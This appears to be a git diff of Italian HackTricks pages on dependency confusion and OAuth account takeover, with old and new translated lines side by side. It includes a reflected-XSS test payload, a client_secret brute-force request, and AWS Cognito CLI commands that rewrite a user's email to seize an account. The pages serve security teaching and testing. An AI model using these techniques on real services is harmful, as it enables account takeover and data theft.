||||
|
||||
### Versione non specificata
|
||||
### Versione non Specificata
|
||||
|
||||
È molto comune per gli sviluppatori **non specificare alcuna versione** della libreria utilizzata, o specificare solo una **versione principale**. Quindi, l'interprete cercherà di scaricare l'**ultima versione** che soddisfi tali requisiti.\
|
||||
Se la libreria è una **conosciuta libreria esterna** (come `requests` in Python), un **attaccante non può fare molto**, poiché non sarà in grado di creare una libreria chiamata `requests` (a meno che non sia l'autore originale).\
|
||||
Se la libreria è una **libreria esterna conosciuta** (come `requests` in Python), un **attaccante non può fare molto**, poiché non sarà in grado di creare una libreria chiamata `requests` (a meno che non sia l'autore originale).\
|
||||
Tuttavia, se la libreria è **interna**, come `requests-company` in questo esempio, se il **repository della libreria** consente di **controllare anche esternamente nuove versioni**, cercherà una versione più recente disponibile pubblicamente.\
|
||||
Quindi, se un **attaccante sa** che l'azienda sta utilizzando la libreria `requests-company` **versione 1.0.1** (consentendo aggiornamenti minori), può **pubblicare** la libreria `requests-company` **versione 1.0.2** e l'azienda **utilizzerà quella libreria al posto** di quella interna.
|
||||
Quindi se un **attaccante sa** che l'azienda sta utilizzando la libreria `requests-company` **versione 1.0.1** (consente aggiornamenti minori), può **pubblicare** la libreria `requests-company` **versione 1.0.2** e l'azienda **utilizzerà quella libreria al posto** di quella interna.
|
||||
|
||||
## Soluzione AWS
|
||||
|
||||
Questa vulnerabilità è stata trovata in AWS **CodeArtifact** (leggi i [**dettagli in questo post del blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||
AWS ha risolto il problema consentendo di specificare se una libreria è interna o esterna, per evitare di scaricare dipendenze interne da repository esterni.
|
||||
Questa vulnerabilità è stata trovata in AWS **CodeArtifact** (leggi i [**dettagli in questo post sul blog**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||
AWS ha risolto questo problema consentendo di specificare se una libreria è interna o esterna, per evitare di scaricare dipendenze interne da repository esterni.
|
||||
|
||||
## Trovare librerie vulnerabili
|
||||
## Trovare Librerie Vulnerabili
|
||||
|
||||
Nel [**post originale sulla dependency confusion**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) l'autore ha cercato migliaia di file package.json esposti contenenti le dipendenze dei progetti JavaScript.
|
||||
Nel [**post originale sulla confusione delle dipendenze**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) l'autore ha cercato migliaia di file package.json esposti contenenti le dipendenze dei progetti JavaScript.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,48 +1,53 @@
|
|||
# OAuth per Account takeover
|
||||
# OAuth per Account Takeover
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di base <a href="#d4a8" id="d4a8"></a>
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
OAuth offre varie versioni, con informazioni di base accessibili alla [documentazione di OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul tipo di concessione del codice di autorizzazione di OAuth 2.0, ampiamente utilizzato, fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni sull'account di un utente in un'altra applicazione** (il server di autorizzazione).
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Considera un sito web ipotetico _**https://example.com**_, progettato per **mostrare tutti i tuoi post sui social media**, inclusi quelli privati. Per raggiungere questo obiettivo, viene utilizzato OAuth 2.0. _https://example.com_ richiederà il tuo permesso per **accedere ai tuoi post sui social media**. Di conseguenza, comparirà una schermata di consenso su _https://socialmedia.com_, che illustra le **autorizzazioni richieste e lo sviluppatore che effettua la richiesta**. Dopo la tua autorizzazione, _https://example.com_ acquisirà la capacità di **accedere ai tuoi post per tuo conto**.
|
||||
|
||||
È fondamentale comprendere i seguenti componenti all'interno del framework di OAuth 2.0:
|
||||
## Informazioni di Base <a href="#d4a8" id="d4a8"></a>
|
||||
|
||||
OAuth offre varie versioni, con informazioni di base accessibili alla [documentazione di OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul [tipo di concessione del codice di autorizzazione OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni sull'account di un utente in un'altra applicazione** (il server di autorizzazione).
|
||||
|
||||
Considera un sito web ipotetico _**https://esempio.com**_, progettato per **mostrare tutti i tuoi post sui social media**, inclusi quelli privati. Per raggiungere questo obiettivo, viene utilizzato OAuth 2.0. _https://esempio.com_ richiederà il tuo permesso per **accedere ai tuoi post sui social media**. Di conseguenza, comparirà una schermata di consenso su _https://socialmedia.com_, che illustra le **autorizzazioni richieste e lo sviluppatore che effettua la richiesta**. Dopo la tua autorizzazione, _https://esempio.com_ acquisirà la capacità di **accedere ai tuoi post per tuo conto**.
|
||||
|
||||
È essenziale comprendere i seguenti componenti all'interno del framework di OAuth 2.0:
|
||||
|
||||
- **proprietario della risorsa**: Tu, come **utente/entità**, autorizzi l'accesso alla tua risorsa, come i tuoi post sui social media.
|
||||
- **server della risorsa**: Il **server che gestisce le richieste autenticate** dopo che l'applicazione ha ottenuto un `access token` per conto del `proprietario della risorsa`, ad esempio **https://socialmedia.com**.
|
||||
- **applicazione client**: L'**applicazione che richiede l'autorizzazione** dal `proprietario della risorsa`, come **https://example.com**.
|
||||
- **server di autorizzazione**: Il **server che emette gli `access token`** all'applicazione client dopo l'autenticazione riuscita del `proprietario della risorsa` e l'ottenimento dell'autorizzazione, ad esempio **https://socialmedia.com**.
|
||||
- **server delle risorse**: Il **server che gestisce le richieste autenticate** dopo che l'applicazione ha ottenuto un `token di accesso` per conto del `proprietario della risorsa`, ad esempio **https://socialmedia.com**.
|
||||
- **applicazione client**: L'**applicazione che richiede l'autorizzazione** dal `proprietario della risorsa`, come **https://esempio.com**.
|
||||
- **server di autorizzazione**: Il **server che emette `token di accesso`** all'applicazione client dopo l'autenticazione riuscita del `proprietario della risorsa` e il conseguimento dell'autorizzazione, ad esempio **https://socialmedia.com**.
|
||||
- **client\_id**: Un identificatore pubblico e univoco per l'applicazione.
|
||||
- **client\_secret**: Una chiave confidenziale, nota solo all'applicazione e al server di autorizzazione, utilizzata per generare gli `access_token`.
|
||||
- **response\_type**: Un valore che specifica **il tipo di token richiesto**, come `code`.
|
||||
- **scope**: Il **livello di accesso** richiesto dall'applicazione client dal `proprietario della risorsa`.
|
||||
- **redirect\_uri**: L'**URL a cui l'utente viene reindirizzato dopo l'autorizzazione**. Di solito deve corrispondere all'URL di reindirizzamento pre-registrato.
|
||||
- **client\_secret:** Una chiave confidenziale, conosciuta solo dall'applicazione e dal server di autorizzazione, utilizzata per generare `token di accesso`.
|
||||
- **response\_type**: Un valore che specifica **il tipo di token richiesto**, come `codice`.
|
||||
- **scope**: Il **livello di accesso** richiesto dall'applicazione client al `proprietario della risorsa`.
|
||||
- **redirect\_uri**: L'**URL a cui l'utente viene reindirizzato dopo l'autorizzazione**. Questo deve corrispondere tipicamente all'URL di reindirizzamento pre-registrato.
|
||||
- **state**: Un parametro per **mantenere i dati durante il reindirizzamento dell'utente da e verso il server di autorizzazione**. La sua unicità è fondamentale per fungere da **meccanismo di protezione CSRF**.
|
||||
- **grant\_type**: Un parametro che indica **il tipo di concessione e il tipo di token restituito**.
|
||||
- **code**: Il codice di autorizzazione dal `server di autorizzazione`, utilizzato insieme a `client_id` e `client_secret` dall'applicazione client per acquisire un `access_token`.
|
||||
- **access\_token**: Il **token che l'applicazione client utilizza per le richieste API** per conto del `proprietario della risorsa`.
|
||||
- **refresh\_token**: Consente all'applicazione di **ottenere un nuovo `access_token` senza richiedere nuovamente l'autorizzazione dell'utente**.
|
||||
- **grant\_type**: Un parametro che indica **il tipo di concessione e il tipo di token da restituire**.
|
||||
- **codice**: Il codice di autorizzazione dal `server di autorizzazione`, utilizzato insieme a `client_id` e `client_secret` dall'applicazione client per acquisire un `token di accesso`.
|
||||
- **token di accesso**: Il **token che l'applicazione client utilizza per le richieste API** per conto del `proprietario della risorsa`.
|
||||
- **refresh\_token**: Consente all'applicazione di **ottenere un nuovo `token di accesso` senza richiedere nuovamente l'autorizzazione dell'utente**.
|
||||
|
||||
### Flusso
|
||||
|
||||
Il **flusso effettivo di OAuth** procede come segue:
|
||||
|
||||
1. Accedi a [https://example.com](https://example.com) e seleziona il pulsante "Integra con i social media".
|
||||
2. Il sito invia quindi una richiesta a [https://socialmedia.com](https://socialmedia.com) chiedendo la tua autorizzazione per consentire all'applicazione di https://example.com di accedere ai tuoi post. La richiesta è strutturata come:
|
||||
1. Accedi a [https://esempio.com](https://esempio.com) e seleziona il pulsante "Integra con i Social Media".
|
||||
2. Il sito invia quindi una richiesta a [https://socialmedia.com](https://socialmedia.com) chiedendo la tua autorizzazione per consentire all'applicazione di https://esempio.com di accedere ai tuoi post. La richiesta è strutturata come:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -53,62 +58,62 @@ https://socialmedia.com/auth
|
|||
```
|
||||
3. Ti viene quindi presentata una pagina di consenso.
|
||||
|
||||
4. Dopo aver dato il tuo consenso, Social Media invia una risposta all'`redirect_uri` con i parametri `code` e `state`:
|
||||
4. Dopo aver dato il tuo consenso, i Social Media inviano una risposta al `redirect_uri` con i parametri `code` e `state`:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com utilizza questo `code`, insieme al suo `client_id` e `client_secret`, per effettuare una richiesta lato server al fine di ottenere un `access_token` per tuo conto, consentendo l'accesso alle autorizzazioni a cui hai acconsentito:
|
||||
5. https://example.com utilizza questo `code`, insieme al suo `client_id` e `client_secret`, per effettuare una richiesta lato server per ottenere un `access_token` per tuo conto, consentendo l'accesso alle autorizzazioni a cui hai acconsentito:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
|
||||
```
|
||||
6. Infine, il processo si conclude quando https://example.com utilizza il tuo `access_token` per effettuare una chiamata API ai Social Media per accedere.
|
||||
6. Infine, il processo si conclude quando https://example.com utilizza il tuo `access_token` per effettuare una chiamata API ai Social Media per accedere
|
||||
|
||||
## Vulnerabilità <a href="#323a" id="323a"></a>
|
||||
|
||||
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
Il `redirect_uri` è fondamentale per la sicurezza nelle implementazioni di OAuth e OpenID, in quanto indica dove vengono inviati i dati sensibili, come i codici di autorizzazione, dopo l'autorizzazione. Se configurato in modo errato, potrebbe consentire agli attaccanti di reindirizzare tali richieste a server malevoli, consentendo il takeover dell'account.
|
||||
Il `redirect_uri` è cruciale per la sicurezza nelle implementazioni di OAuth e OpenID, poiché indica dove vengono inviati i dati sensibili, come i codici di autorizzazione, dopo l'autorizzazione. Se configurato in modo errato, potrebbe consentire agli attaccanti di reindirizzare tali richieste a server maliziosi, consentendo il furto dell'account.
|
||||
|
||||
Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare dalla corrispondenza rigorosa del percorso all'accettazione di qualsiasi URL all'interno del dominio o della sottodirectory specificata. I metodi comuni di sfruttamento includono reindirizzamenti aperti, attraversamento di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token.
|
||||
Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono andare dalla corrispondenza rigorosa del percorso all'accettazione di qualsiasi URL all'interno del dominio o della sottodirectory specificata. I metodi comuni di sfruttamento includono reindirizzamenti aperti, attraversamento del percorso, sfruttamento di espressioni regolari deboli e iniezione HTML per il furto del token.
|
||||
|
||||
Oltre a `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anche suscettibili ad attacchi di reindirizzamento. Questi parametri sono opzionali e il loro supporto varia tra i server.
|
||||
Oltre al `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anche suscettibili a attacchi di reindirizzamento. Questi parametri sono facoltativi e il loro supporto varia tra i server.
|
||||
|
||||
Per coloro che mirano a un server OpenID, il punto di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare nell'individuazione del punto di registrazione e di altre specifiche di configurazione del server.
|
||||
Per coloro che mirano a un server OpenID, il punto di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare nell'individuare il punto di registrazione e altri dettagli di configurazione del server.
|
||||
|
||||
### XSS nell'implementazione del reindirizzamento <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Come menzionato in questo rapporto di bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), potrebbe essere possibile che l'URL di reindirizzamento venga riflettuto nella risposta del server dopo l'autenticazione dell'utente, risultando vulnerabile a XSS. Payload possibile da testare:
|
||||
Come menzionato in questo rapporto di bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) potrebbe essere possibile che l'**URL di reindirizzamento venga riflessa nella risposta** del server dopo che l'utente si autentica, essendo **vulnerabile a XSS**. Payload possibile da testare:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - Gestione impropria del parametro di stato <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Nelle implementazioni di OAuth, l'uso improprio o l'omissione del **parametro di stato** può aumentare significativamente il rischio di attacchi di **Cross-Site Request Forgery (CSRF)**. Questa vulnerabilità si verifica quando il parametro di stato non viene utilizzato, viene utilizzato come valore statico o non viene correttamente convalidato, consentendo agli attaccanti di eludere le protezioni CSRF.
|
||||
Nelle implementazioni di OAuth, l'abuso o l'omissione del **parametro `state`** può aumentare significativamente il rischio di attacchi di **Cross-Site Request Forgery (CSRF)**. Questa vulnerabilità si verifica quando il parametro `state` non viene utilizzato, viene utilizzato come un valore statico o non viene correttamente convalidato, consentendo agli attaccanti di eludere le protezioni CSRF.
|
||||
|
||||
Gli attaccanti possono sfruttare questa vulnerabilità intercettando il processo di autorizzazione per collegare il proprio account a quello della vittima, portando a potenziali **account takeover**. Questo è particolarmente critico nelle applicazioni in cui OAuth viene utilizzato per scopi di **autenticazione**.
|
||||
Gli attaccanti possono sfruttare ciò intercettando il processo di autorizzazione per collegare il proprio account a quello della vittima, portando a potenziali **acquisizioni di account**. Questo è particolarmente critico nelle applicazioni in cui OAuth è utilizzato per **scopi di autenticazione**.
|
||||
|
||||
Sono stati documentati esempi reali di questa vulnerabilità in vari **CTF challenges** e **piattaforme di hacking**, evidenziando le sue implicazioni pratiche. Il problema si estende anche alle integrazioni con servizi di terze parti come **Slack**, **Stripe** e **PayPal**, dove gli attaccanti possono reindirizzare notifiche o pagamenti ai propri account.
|
||||
Esempi reali di questa vulnerabilità sono stati documentati in vari **CTF challenges** e **piattaforme di hacking**, evidenziandone le implicazioni pratiche. Il problema si estende anche alle integrazioni con servizi di terze parti come **Slack**, **Stripe** e **PayPal**, dove gli attaccanti possono reindirizzare notifiche o pagamenti ai propri account.
|
||||
|
||||
La gestione e la convalida corrette del parametro di stato sono cruciali per proteggersi da CSRF e garantire la sicurezza del flusso OAuth.
|
||||
Una corretta gestione e convalida del **parametro `state`** sono cruciali per proteggersi da CSRF e garantire la sicurezza del flusso OAuth.
|
||||
|
||||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
### Pre Acquisizione dell'Account <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Senza verifica dell'email durante la creazione dell'account**: Gli attaccanti possono creare preventivamente un account utilizzando l'email della vittima. Se successivamente la vittima utilizza un servizio di terze parti per effettuare il login, l'applicazione potrebbe erroneamente collegare questo account di terze parti all'account pre-creato dell'attaccante, consentendo l'accesso non autorizzato.
|
||||
1. **Senza Verifica dell'Email alla Creazione dell'Account**: Gli attaccanti possono creare preventivamente un account utilizzando l'email della vittima. Se la vittima successivamente utilizza un servizio di terze parti per il login, l'applicazione potrebbe collegare involontariamente questo account di terze parti all'account pre-creato dell'attaccante, portando a un accesso non autorizzato.
|
||||
|
||||
2. **Sfruttare la verifica delle email di OAuth poco rigorosa**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il proprio servizio e successivamente modificando l'email dell'account con quella della vittima. Questo metodo comporta un rischio simile di accesso non autorizzato all'account, simile al primo scenario ma attraverso un diverso vettore di attacco.
|
||||
2. **Sfruttare la Verifica dell'Email Lassa di OAuth**: Gli attaccanti possono sfruttare i servizi OAuth che non verificano le email registrandosi con il proprio servizio e successivamente cambiando l'email dell'account con quella della vittima. Questo metodo comporta rischi simili di accesso non autorizzato all'account, simile al primo scenario ma attraverso un diverso vettore di attacco.
|
||||
|
||||
### Divulgazione di segreti <a href="#e177" id="e177"></a>
|
||||
### Divulgazione di Segreti <a href="#e177" id="e177"></a>
|
||||
|
||||
Identificare e proteggere i parametri segreti di OAuth è fondamentale. Mentre il **`client_id`** può essere divulgato in modo sicuro, rivelare il **`client_secret`** comporta rischi significativi. Se il `client_secret` viene compromesso, gli attaccanti possono sfruttare l'identità e la fiducia dell'applicazione per **rubare gli `access_tokens`** degli utenti e le informazioni private.
|
||||
Identificare e proteggere i parametri segreti di OAuth è cruciale. Mentre il **`client_id`** può essere divulgato in modo sicuro, rivelare il **`client_secret`** comporta rischi significativi. Se il `client_secret` viene compromesso, gli attaccanti possono sfruttare l'identità e la fiducia dell'applicazione per **rubare gli `access_tokens`** e le informazioni private.
|
||||
|
||||
Una vulnerabilità comune si verifica quando le applicazioni gestiscono erroneamente lo scambio del codice di autorizzazione per un `access_token` lato client anziché lato server. Questo errore porta all'esposizione del `client_secret`, consentendo agli attaccanti di generare `access_tokens` sotto mentite spoglie dell'applicazione. Inoltre, attraverso l'ingegneria sociale, gli attaccanti potrebbero ottenere privilegi aggiuntivi aggiungendo ulteriori ambiti all'autorizzazione OAuth, sfruttando ulteriormente lo status fidato dell'applicazione.
|
||||
Una vulnerabilità comune si verifica quando le applicazioni gestiscono erroneamente lo scambio del `code` di autorizzazione per un `access_token` lato client anziché lato server. Questo errore porta all'esposizione del `client_secret`, consentendo agli attaccanti di generare `access_tokens` sotto mentite spoglie dell'applicazione. Inoltre, attraverso l'ingegneria sociale, gli attaccanti potrebbero ottenere privilegi aggiuntivi aggiungendo ulteriori ambiti all'autorizzazione OAuth, sfruttando ulteriormente lo status fidato dell'applicazione.
|
||||
|
||||
### Brute force del client secret
|
||||
### Bruteforce del Client Secret
|
||||
|
||||
Puoi provare a **forzare il client\_secret** di un provider di servizi con l'identity provider per cercare di rubare account.
|
||||
La richiesta per il BF potrebbe assomigliare a:
|
||||
Puoi provare a **bruteforce del client\_secret** di un fornitore di servizi con il provider di identità per cercare di rubare account.\
|
||||
La richiesta a BF potrebbe assomigliare a:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
|
@ -118,9 +123,9 @@ Connection: close
|
|||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer Header che rivela il Codice + Stato
|
||||
### Referer Header che rilascia Code + State
|
||||
|
||||
Una volta che il client ha il **codice e lo stato**, se viene **riflesso nell'intestazione Referer** quando si passa a una pagina diversa, allora è vulnerabile.
|
||||
Una volta che il client ha il **code e lo stato**, se è **riflesso all'interno dell'intestazione Referer** quando naviga su una pagina diversa, allora è vulnerabile.
|
||||
|
||||
### Access Token memorizzato nella cronologia del browser
|
||||
|
||||
|
@ -128,19 +133,19 @@ Vai alla **cronologia del browser e controlla se l'access token è salvato lì**
|
|||
|
||||
### Codice di autorizzazione eterno
|
||||
|
||||
Il **codice di autorizzazione dovrebbe vivere solo per un certo periodo di tempo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
|
||||
Il **codice di autorizzazione dovrebbe vivere solo per un certo periodo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
|
||||
|
||||
### Token di autorizzazione/refresh non legato al client
|
||||
### Token di autorizzazione/aggiornamento non vincolato al client
|
||||
|
||||
Se puoi ottenere il **codice di autorizzazione e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
|
||||
Se riesci a ottenere il **codice di autorizzazione e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
|
||||
|
||||
### Percorsi felici, XSS, Iframe e Post Messages per rivelare valori di codice e stato
|
||||
### Percorsi felici, XSS, Iframes e Post Messages per rilasciare code e valori di stato
|
||||
|
||||
**[Controlla questo post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
In questo rapporto di bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puoi vedere che il **token** che **AWS Cognito** restituisce all'utente potrebbe avere **permessi sufficienti per sovrascrivere i dati dell'utente**. Pertanto, se puoi **cambiare l'email dell'utente con un'email di un altro utente**, potresti essere in grado di **prendere il controllo** di altri account.
|
||||
In questo rapporto di bug bounty: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puoi vedere che il **token** che **AWS Cognito** restituisce all'utente potrebbe avere **abbastanza autorizzazioni per sovrascrivere i dati dell'utente**. Pertanto, se riesci a **cambiare l'email dell'utente con un'email di un utente diverso**, potresti essere in grado di **prendere il controllo** di altri account.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -157,66 +162,71 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
]
|
||||
}
|
||||
```
|
||||
Per informazioni più dettagliate su come sfruttare AWS Cognito, controlla:
|
||||
Per ulteriori informazioni dettagliate su come abusare di AWS Cognito controlla:
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### Sfruttare i token di altre app <a href="#bda5" id="bda5"></a>
|
||||
### Abuso di token di altre app <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Come [**menzionato in questo articolo**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), i flussi OAuth che si aspettano di ricevere il **token** (e non un codice) potrebbero essere vulnerabili se non verificano che il token appartenga all'app.
|
||||
Come **menzionato in questo articolo**, i flussi OAuth che si aspettano di ricevere il **token** (e non un codice) potrebbero essere vulnerabili se non verificano che il token appartenga all'applicazione.
|
||||
|
||||
Ciò perché un **attaccante** potrebbe creare un **applicazione che supporta OAuth e accedere con Facebook** (ad esempio) nella sua stessa applicazione. Quindi, una volta che una vittima accede con Facebook nell'**applicazione dell'attaccante**, l'attaccante potrebbe ottenere il **token OAuth dell'utente fornito alla sua applicazione e usarlo per accedere all'app OAuth della vittima utilizzando il token dell'utente della vittima**.
|
||||
Questo perché un **attaccante** potrebbe creare un **applicazione che supporta OAuth e accedere con Facebook** (ad esempio) nella propria applicazione. Quindi, una volta che una vittima accede con Facebook nell'**applicazione dell'attaccante**, l'attaccante potrebbe ottenere il **token OAuth dell'utente fornito alla sua applicazione e usarlo per accedere all'applicazione OAuth della vittima usando il token dell'utente della vittima**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Pertanto, se l'attaccante riesce a far accedere l'utente alla sua stessa applicazione OAuth, sarà in grado di prendere il controllo dell'account della vittima nelle applicazioni che si aspettano un token e non verificano se il token è stato concesso al loro ID app.
|
||||
Pertanto, se l'attaccante riesce a far sì che l'utente acceda alla propria applicazione OAuth, sarà in grado di prendere il controllo dell'account delle vittime nelle applicazioni che si aspettano un token e non verificano se il token è stato concesso al proprio ID app.
|
||||
{% endhint %}
|
||||
|
||||
### Due link e cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Secondo [**questo articolo**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era possibile far aprire una pagina alla vittima con un **returnUrl** che puntava all'host dell'attaccante. Queste informazioni sarebbero **memorizzate in un cookie (RU)** e in un **passaggio successivo**, il **prompt** chiederà all'**utente** se desidera concedere l'accesso a quell'host dell'attaccante.
|
||||
